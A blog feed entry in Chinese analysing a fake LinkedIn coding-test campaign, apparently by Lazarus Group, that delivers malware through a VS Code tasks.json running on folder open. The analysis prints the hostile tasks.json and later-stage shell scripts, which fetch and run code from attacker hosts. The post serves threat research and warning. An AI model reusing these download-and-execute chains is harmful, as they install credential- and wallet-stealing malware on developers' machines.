<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>yunshiuan</title>
  
  
  <link href="https://yunshiuan.com/atom.xml" rel="self"/>
  
  <link href="https://yunshiuan.com/"/>
  <updated>2026-04-29T11:34:15.133Z</updated>
  <id>https://yunshiuan.com/</id>
  
  <author>
    <name>yunshiuan</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>(中文版)2026 Linkedin Malicious Coding Assignment / Test 分析</title>
    <link href="https://yunshiuan.com/2026/01/29/LinkedinFish_ch/"/>
    <id>https://yunshiuan.com/2026/01/29/LinkedinFish_ch/</id>
    <published>2026-01-29T16:00:00.000Z</published>
    <updated>2026-04-29T11:34:15.133Z</updated>
    
    <content type="html"><![CDATA[<h1 id="2026-Linkedin-Malicious-Coding-Assignment-Test-分析"><a href="#2026-Linkedin-Malicious-Coding-Assignment-Test-分析" class="headerlink" title="2026 Linkedin Malicious Coding Assignment &#x2F; Test 分析"></a>2026 Linkedin Malicious Coding Assignment &#x2F; Test 分析</h1><blockquote><p>author : yunshiuan , 這次的分析報告是在 2026&#x2F;01&#x2F;13~2026&#x2F;01&#x2F;22 TeamT5 Camp 威脅情資組的專題報告，與 @yjk 、 @rui 共同研究</p></blockquote><p>在 2026&#x2F;01&#x2F;08 在 <a href="https://www.threads.com/@haocherhong/post/DTPM7njkY-T">Thread</a> 上有一篇貼文造成不小的影響，簡單來說是關於說他在 Linkedin 上收到了一個人的面試邀請，並給予 GitHub 的 Repo 連結當成面試的題目，當他把 GitHub Repo Clone 下來並用 vscode 相關的程式查看時，發現了惡意行為，但最終還是發現他的虛擬錢包被偷了 60 萬台幣。</p><img src="/assets/image-20260125101548610.png" alt="image-20260125101548610" style="zoom:50%;" /><img src="/assets/image-20260125102029716.png" alt="image-20260125102029716" style="zoom:50%;" /><p>他原文底下還有附上他與假面試官的整個流程，幸運的是他有把原 Repo 的資訊一起展示出來，名稱是 <code>megaorg996/tokentradingdapp</code> ，但可惜的是這個 Repo 已經消失了，不過如果使用 GitHub Search 的功能將一模一樣的 Repo Name 丟上去後，發現還有四個一模一樣的 Repo， <code>https://github[.]com/leecarney94/tokentradingdapp</code> 其中這個 Repo 的服務都還是正常運行的。另外如果將類似的 Repo 名稱拿去搜尋，會得到更多的惡意 Repo，此篇分析報告將展示此類攻擊但不同 sample 的惡意行為。</p><blockquote><p>Ps : 2026&#x2F;01&#x2F;29在寫此報告的時候，leecarney94&#x2F;tokentradingdapp 也不見了，但之後搜尋發現只是改成了 leecarney93&#x2F;TokenTradingDapp</p></blockquote><p>通常來說用 vscode 時開啟某個專案會出現</p><img src="/assets/vscodeTrust.png" alt="image-20260125102029716" style="zoom:50%;" /><p>接下來的分析報告也會提到當點下去 Turst 時會發生什麼事</p><h2 id="tl-dr"><a href="#tl-dr" class="headerlink" title="tl;dr"></a>tl;dr</h2><p>此份分析報告展示了兩種雖然攻擊面相同但攻擊行為不一樣的 Sample。</p><p>攻擊技術包括：</p><ul><li>透過 LinkedIn 假冒招聘者，發送帶有惡意程式碼的 GitHub 專案連結。</li><li>利用 VS Code 的 <code>tasks.json</code> 自動化功能，在開啟專案時自動執行惡意指令。</li><li>竊取跨平台瀏覽器帳密、加密貨幣錢包、環境變數及剪貼簿內容。</li><li>在 Windows 上透過啟動資料夾及排程任務確保惡意軟體重啟後執行。</li><li>使用多層混淆 、多層dropper 複雜分析過程</li><li>新增 Windows Defender 排除清單、建立 Scheduleled Task 達成持久化</li><li>建立 TCP Socket&#x2F;Websocket 連線，提供遠端 Shell、檔案上傳&#x2F;下載、鍵盤側錄，甚至下載 AnyDesk 進行遠端桌面控制。</li></ul><p>並且關聯出這次的攻擊是來自北韓的 Lazarus Group 發起的，不同於之前的 BeaverTail 手法，變成更容易觸發成功。</p><p>另外此攻擊有非常多的變體，並且可以在 GitHub 上搜尋到非常多，不過有些 Sample 前幾天還活著的 Repo 過幾天就不見了，但有可能只是換個名字或者換個 Repo 名字，更甚是因為他有些服務是架在 Vercel 上，過幾天可能就會被發現下架或關閉，因此可能過幾天這個分析報告上的 GitHub Repo 就全消失了。</p><p>ex : <a href="https://github.com/search?q=https://vscode-bootstrapper.vercel.app/settings&type=code">連結1</a> 、 <a href="https://github.com/search?q=https://vscode-helper171-ruby.vercel.app/&type=code">連結2</a> 、<a href="https://github.com/search?q=https://vscode-config.vercel.app&type=code">連結3</a></p><h2 id="Analyze"><a href="#Analyze" class="headerlink" title="Analyze"></a>Analyze</h2><h3 id="Sample1"><a href="#Sample1" class="headerlink" title="Sample1"></a>Sample1</h3><p>網址 ：<code>https://github[.]com/leecarney93/tokentradingdapp</code></p><p>首次出現時間為：<code>2025/10/31</code></p><p>類似的 GitHub Repo :</p><ul><li><code>https://Github[.]com/ryon-business/Promoting-DApp</code></li><li><code>https://Github[.]com/samuelmeadowbiankah/felina</code></li></ul><p>在這些惡意的專案當中，皆有 <code>.vscode</code> 的資料夾，當中資料夾的內容包含 settings.json 以及 tasks.json ，重點在於 <strong>tasks.json</strong> ，tasks.json 原本的用處是當使用 VS Code 開啟時，可以進行一些自動化腳本的執行，但是在此攻擊事件中被惡意利用，以下為此 Sample 的 tasks.json 。</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// tasks.json</span></span><br><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;version&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2.0.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;tasks&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;label&quot;</span><span class="punctuation">:</span> <span class="string">&quot;env&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;shell&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;osx&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;command&quot;</span><span class="punctuation">:</span> <span class="string">&quot;curl &#x27;https://www.vscodeconfig[.]com/settings/mac?flag=1&#x27; | bash&quot;</span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;linux&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;command&quot;</span><span class="punctuation">:</span> <span class="string">&quot;wget -qO- &#x27;https://www.vscodeconfig[.]com/settings/linux?flag=1&#x27; | sh&quot;</span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;windows&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;command&quot;</span><span class="punctuation">:</span> <span class="string">&quot;curl https://www.vscodeconfig[.]com/settings/windows?flag=1 | cmd&quot;</span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;problemMatcher&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;presentation&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;reveal&quot;</span><span class="punctuation">:</span> <span class="string">&quot;never&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;echo&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;focus&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;close&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;panel&quot;</span><span class="punctuation">:</span> <span class="string">&quot;dedicated&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;showReuseMessage&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span></span><br><span class="line">      <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;runOptions&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;runOn&quot;</span><span class="punctuation">:</span> <span class="string">&quot;folderOpen&quot;</span></span><br><span class="line">      <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">]</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>這邊可以發現他設定了 “runOn”: “folderOpen” ，代表如果使用者用 VS Code 將此專案打開，就會執行上方設定的指令，指令會根據作業系統請求對應的網頁並執行回傳內容。</p><p>接下來抓一下回傳內容（以 Linux 來舉例）：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="built_in">set</span> -e</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;Authenticated&quot;</span></span><br><span class="line"></span><br><span class="line">TARGET_DIR=<span class="string">&quot;<span class="variable">$HOME</span>/.vscode&quot;</span></span><br><span class="line"><span class="built_in">mkdir</span> -p <span class="string">&quot;<span class="variable">$TARGET_DIR</span>&quot;</span></span><br><span class="line">clear</span><br><span class="line">wget -q -O <span class="string">&quot;<span class="variable">$TARGET_DIR</span>/vscode-bootstrap.sh&quot;</span> <span class="string">&quot;https://vscodesettings.vercel[.]app/settings/bootstraplinux?flag=1&quot;</span></span><br><span class="line">clear</span><br><span class="line"><span class="built_in">chmod</span> +x <span class="string">&quot;<span class="variable">$TARGET_DIR</span>/vscode-bootstrap.sh&quot;</span></span><br><span class="line">clear</span><br><span class="line"><span class="built_in">nohup</span> bash <span class="string">&quot;<span class="variable">$TARGET_DIR</span>/vscode-bootstrap.sh&quot;</span> &gt; /dev/null 2&gt;&amp;1 &amp;</span><br><span class="line">clear</span><br><span class="line"><span class="built_in">exit</span> 0%</span><br></pre></td></tr></table></figure><p>可以看到他又去<code>$HOME/.vscode</code> 底下向<code>https://vscodesettings.vercel[.]app/settings/bootstraplinux?flag=1</code> 請求並存成<code>vscode-bootstrap.sh</code> ，並執行它。</p><p>接下來看一下<code>vscode-bootstrap.sh</code> 的內容：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># vscode-bootstrap.sh</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#!/bin/bash</span></span><br><span class="line"><span class="comment"># Creating new Info</span></span><br><span class="line"><span class="built_in">set</span> -e</span><br><span class="line">OS=$(<span class="built_in">uname</span> -s)</span><br><span class="line">NODE_EXE=<span class="string">&quot;&quot;</span></span><br><span class="line">NODE_INSTALLED_VERSION=<span class="string">&quot;&quot;</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="comment"># Check for global Node.js installation</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="keyword">if</span> <span class="built_in">command</span> -v node &amp;&gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">    NODE_INSTALLED_VERSION=$(node -v 2&gt;/dev/null || <span class="built_in">echo</span> <span class="string">&quot;&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> [ -n <span class="string">&quot;<span class="variable">$NODE_INSTALLED_VERSION</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">        NODE_EXE=<span class="string">&quot;node&quot;</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;[INFO] Node.js is already installed globally: <span class="variable">$NODE_INSTALLED_VERSION</span>&quot;</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="comment"># If Node.js not found globally, download and extract portable version</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="keyword">if</span> [ -z <span class="string">&quot;<span class="variable">$NODE_EXE</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;[INFO] Node.js not found globally. Attempting to download portable version...&quot;</span></span><br><span class="line">    <span class="comment"># Get latest Node.js version</span></span><br><span class="line">    <span class="keyword">if</span> [ <span class="string">&quot;<span class="variable">$OS</span>&quot;</span> == <span class="string">&quot;Darwin&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">        <span class="comment"># macOS - get latest version</span></span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">command</span> -v curl &amp;&gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">            LATEST_VERSION=$(curl -s https://nodejs.org/dist/index.json | grep -o <span class="string">&#x27;&quot;version&quot;:&quot;[^&quot;]*&quot;&#x27;</span> | <span class="built_in">head</span> -1 | <span class="built_in">cut</span> -d<span class="string">&#x27;&quot;&#x27;</span> -f4)</span><br><span class="line">        <span class="keyword">elif</span> <span class="built_in">command</span> -v wget &amp;&gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">            LATEST_VERSION=$(wget -qO- https://nodejs.org/dist/index.json | grep -o <span class="string">&#x27;&quot;version&quot;:&quot;[^&quot;]*&quot;&#x27;</span> | <span class="built_in">head</span> -1 | <span class="built_in">cut</span> -d<span class="string">&#x27;&quot;&#x27;</span> -f4)</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            LATEST_VERSION=<span class="string">&quot;v20.11.1&quot;</span></span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">elif</span> [ <span class="string">&quot;<span class="variable">$OS</span>&quot;</span> == <span class="string">&quot;Linux&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">        <span class="comment"># Linux - get latest version</span></span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">command</span> -v curl &amp;&gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">            LATEST_VERSION=$(curl -s https://nodejs.org/dist/index.json | grep -o <span class="string">&#x27;&quot;version&quot;:&quot;[^&quot;]*&quot;&#x27;</span> | <span class="built_in">head</span> -1 | <span class="built_in">cut</span> -d<span class="string">&#x27;&quot;&#x27;</span> -f4)</span><br><span class="line">        <span class="keyword">elif</span> <span class="built_in">command</span> -v wget &amp;&gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">            LATEST_VERSION=$(wget -qO- https://nodejs.org/dist/index.json | grep -o <span class="string">&#x27;&quot;version&quot;:&quot;[^&quot;]*&quot;&#x27;</span> | <span class="built_in">head</span> -1 | <span class="built_in">cut</span> -d<span class="string">&#x27;&quot;&#x27;</span> -f4)</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            LATEST_VERSION=<span class="string">&quot;v20.11.1&quot;</span></span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;[ERROR] Unsupported OS: <span class="variable">$OS</span>&quot;</span></span><br><span class="line">        <span class="built_in">exit</span> 1</span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line">    <span class="comment"># Remove leading &quot;v&quot;</span></span><br><span class="line">    NODE_VERSION=<span class="variable">$&#123;LATEST_VERSION#v&#125;</span></span><br><span class="line">    <span class="comment"># Determine download URL and paths based on OS</span></span><br><span class="line">    EXTRACTED_DIR=<span class="string">&quot;<span class="variable">$HOME</span>/.vscode/node-v<span class="variable">$&#123;NODE_VERSION&#125;</span>-<span class="subst">$( [ <span class="string">&quot;<span class="variable">$OS</span>&quot;</span> = <span class="string">&quot;Darwin&quot;</span> ] &amp;&amp; echo <span class="string">&quot;darwin&quot;</span> || echo <span class="string">&quot;linux&quot;</span> )</span>-x64&quot;</span></span><br><span class="line">    PORTABLE_NODE=<span class="string">&quot;<span class="variable">$EXTRACTED_DIR</span>/bin/node&quot;</span></span><br><span class="line">    <span class="keyword">if</span> [ <span class="string">&quot;<span class="variable">$OS</span>&quot;</span> == <span class="string">&quot;Darwin&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">        NODE_TARBALL=<span class="string">&quot;<span class="variable">$HOME</span>/.vscode/node-v<span class="variable">$&#123;NODE_VERSION&#125;</span>-darwin-x64.tar.xz&quot;</span></span><br><span class="line">        DOWNLOAD_URL=<span class="string">&quot;https://nodejs.org/dist/v<span class="variable">$&#123;NODE_VERSION&#125;</span>/node-v<span class="variable">$&#123;NODE_VERSION&#125;</span>-darwin-x64.tar.xz&quot;</span></span><br><span class="line">    <span class="keyword">elif</span> [ <span class="string">&quot;<span class="variable">$OS</span>&quot;</span> == <span class="string">&quot;Linux&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">        NODE_TARBALL=<span class="string">&quot;<span class="variable">$HOME</span>/.vscode/node-v<span class="variable">$&#123;NODE_VERSION&#125;</span>-linux-x64.tar.xz&quot;</span></span><br><span class="line">        DOWNLOAD_URL=<span class="string">&quot;https://nodejs.org/dist/v<span class="variable">$&#123;NODE_VERSION&#125;</span>/node-v<span class="variable">$&#123;NODE_VERSION&#125;</span>-linux-x64.tar.xz&quot;</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line">    <span class="comment"># Check if portable Node.js already exists</span></span><br><span class="line">    <span class="keyword">if</span> [ -f <span class="string">&quot;<span class="variable">$PORTABLE_NODE</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;[INFO] Portable Node.js found.&quot;</span></span><br><span class="line">        NODE_EXE=<span class="string">&quot;<span class="variable">$PORTABLE_NODE</span>&quot;</span></span><br><span class="line">        <span class="built_in">export</span> PATH=<span class="string">&quot;<span class="variable">$EXTRACTED_DIR</span>/bin:<span class="variable">$PATH</span>&quot;</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;[INFO] Downloading Node.js...&quot;</span></span><br><span class="line">        <span class="built_in">mkdir</span> -p <span class="string">&quot;<span class="variable">$HOME</span>/.vscode&quot;</span></span><br><span class="line">        <span class="comment"># Download Node.js</span></span><br><span class="line">        <span class="keyword">if</span> ! <span class="built_in">command</span> -v curl &amp;&gt; /dev/null &amp;&amp; ! <span class="built_in">command</span> -v wget &amp;&gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">            <span class="built_in">echo</span> <span class="string">&quot;[ERROR] Neither curl nor wget is available.&quot;</span></span><br><span class="line">            <span class="built_in">exit</span> 1</span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">command</span> -v curl &amp;&gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">            curl -sSL -o <span class="string">&quot;<span class="variable">$NODE_TARBALL</span>&quot;</span> <span class="string">&quot;<span class="variable">$DOWNLOAD_URL</span>&quot;</span></span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            wget -q -O <span class="string">&quot;<span class="variable">$NODE_TARBALL</span>&quot;</span> <span class="string">&quot;<span class="variable">$DOWNLOAD_URL</span>&quot;</span></span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">        <span class="keyword">if</span> [ ! -f <span class="string">&quot;<span class="variable">$NODE_TARBALL</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">            <span class="built_in">echo</span> <span class="string">&quot;[ERROR] Failed to download Node.js.&quot;</span></span><br><span class="line">            <span class="built_in">exit</span> 1</span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;[INFO] Extracting Node.js...&quot;</span></span><br><span class="line">        tar -xf <span class="string">&quot;<span class="variable">$NODE_TARBALL</span>&quot;</span> -C <span class="string">&quot;<span class="variable">$HOME</span>/.vscode&quot;</span></span><br><span class="line">        <span class="built_in">rm</span> -f <span class="string">&quot;<span class="variable">$NODE_TARBALL</span>&quot;</span></span><br><span class="line">        <span class="keyword">if</span> [ -f <span class="string">&quot;<span class="variable">$PORTABLE_NODE</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">            <span class="built_in">echo</span> <span class="string">&quot;[INFO] Portable Node.js extracted successfully.&quot;</span></span><br><span class="line">            NODE_EXE=<span class="string">&quot;<span class="variable">$PORTABLE_NODE</span>&quot;</span></span><br><span class="line">            <span class="built_in">export</span> PATH=<span class="string">&quot;<span class="variable">$EXTRACTED_DIR</span>/bin:<span class="variable">$PATH</span>&quot;</span></span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            <span class="built_in">echo</span> <span class="string">&quot;[ERROR] node executable not found after extraction.&quot;</span></span><br><span class="line">            <span class="built_in">exit</span> 1</span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="comment"># Verify Node.js works</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="keyword">if</span> [ -z <span class="string">&quot;<span class="variable">$NODE_EXE</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;[ERROR] Node.js executable not set.&quot;</span></span><br><span class="line">    <span class="built_in">exit</span> 1</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"><span class="string">&quot;<span class="variable">$NODE_EXE</span>&quot;</span> -v &gt; /dev/null 2&gt;&amp;1</span><br><span class="line"><span class="keyword">if</span> [ $? -ne 0 ]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;[ERROR] Node.js execution failed.&quot;</span></span><br><span class="line">    <span class="built_in">exit</span> 1</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="comment"># Download required files</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line">USER_HOME=<span class="string">&quot;<span class="variable">$HOME</span>/.vscode&quot;</span></span><br><span class="line"><span class="built_in">mkdir</span> -p <span class="string">&quot;<span class="variable">$&#123;USER_HOME&#125;</span>&quot;</span></span><br><span class="line">BASE_URL=<span class="string">&quot;https://vscodesettings.vercel.app&quot;</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;[INFO] Downloading env-setup.js and package.json...&quot;</span></span><br><span class="line"><span class="keyword">if</span> ! <span class="built_in">command</span> -v curl &gt;/dev/null 2&gt;&amp;1; <span class="keyword">then</span></span><br><span class="line">    wget -q -O <span class="string">&quot;<span class="variable">$&#123;USER_HOME&#125;</span>/env-setup.js&quot;</span> <span class="string">&quot;<span class="variable">$&#123;BASE_URL&#125;</span>/settings/env?flag=1&quot;</span></span><br><span class="line">    wget -q -O <span class="string">&quot;<span class="variable">$&#123;USER_HOME&#125;</span>/package.json&quot;</span> <span class="string">&quot;<span class="variable">$&#123;BASE_URL&#125;</span>/settings/package&quot;</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">    curl -s -L -o <span class="string">&quot;<span class="variable">$&#123;USER_HOME&#125;</span>/env-setup.js&quot;</span> <span class="string">&quot;<span class="variable">$&#123;BASE_URL&#125;</span>/settings/env?flag=1&quot;</span></span><br><span class="line">    curl -s -L -o <span class="string">&quot;<span class="variable">$&#123;USER_HOME&#125;</span>/package.json&quot;</span> <span class="string">&quot;<span class="variable">$&#123;BASE_URL&#125;</span>/settings/package&quot;</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="comment"># Install dependencies</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="built_in">cd</span> <span class="string">&quot;<span class="variable">$&#123;USER_HOME&#125;</span>&quot;</span></span><br><span class="line"><span class="keyword">if</span> [ ! -d <span class="string">&quot;node_modules/request&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;[INFO] Installing NPM packages...&quot;</span></span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">command</span> -v npm &amp;&gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">        npm install --silent --no-progress --loglevel=error --fund=<span class="literal">false</span></span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        <span class="comment"># Use npm from extracted directory if available</span></span><br><span class="line">        <span class="keyword">if</span> [ -n <span class="string">&quot;<span class="variable">$EXTRACTED_DIR</span>&quot;</span> ] &amp;&amp; [ -f <span class="string">&quot;<span class="variable">$EXTRACTED_DIR</span>/bin/npm&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">            <span class="string">&quot;<span class="variable">$EXTRACTED_DIR</span>/bin/npm&quot;</span> install --silent --no-progress --loglevel=error --fund=<span class="literal">false</span></span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            <span class="built_in">echo</span> <span class="string">&quot;[ERROR] npm not found.&quot;</span></span><br><span class="line">            <span class="built_in">exit</span> 1</span><br><span class="line">        <span class="keyword">fi</span></span><br><span class="line">  